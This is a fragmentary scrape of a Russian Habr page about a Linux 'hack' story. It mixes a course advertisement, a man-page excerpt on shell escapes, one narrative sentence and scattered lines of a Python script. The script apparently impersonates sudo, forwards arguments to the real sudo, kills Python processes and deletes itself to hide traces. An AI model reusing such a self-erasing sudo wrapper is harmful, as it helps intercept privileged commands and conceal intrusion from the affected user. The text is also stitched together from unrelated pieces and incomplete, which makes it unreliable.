Хабр Курсы для всех
РЕКЛАМА
Практикум, Хекслет, SkyPro, авторские курсы — собрали всех и попросили скидки. Осталось выбрать!
! shell-command
Invokes a shell to run the shell-command given. A percent sign (%) in the command is replaced by the name of the current file. A pound sign (#) is replaced by the name of the previously examined file. "!!" repeats the last shell command. "!" with no shell command simply invokes a shell. On Unix systems, the shell is taken from the environment variable SHELL, or defaults to «sh». On MS-DOS and OS/2 systems, the shell is the normal command processor.
Первым делом после своего возвращения, коллега, ожидая подвоха, внимательно осмотрел bash_history, и ничего не заметив, начал работать
# Вуаля! А теперь вызываем настоящий sudo
subprocess.call(['sudo'] + sys.argv[1:])
# Т.к. мы всё еще ниндзя, самоуничтожаемся и стираем этот скрипт с диска
os.system('pkill python & rm %s' % script)
os.unlink(__file__)
os.execv('/usr/bin/sudo', ['/usr/bin/sudo'] + sys.argv[1:])

ps -A | grep opera
pgrep opera
Линукс — история одного взлома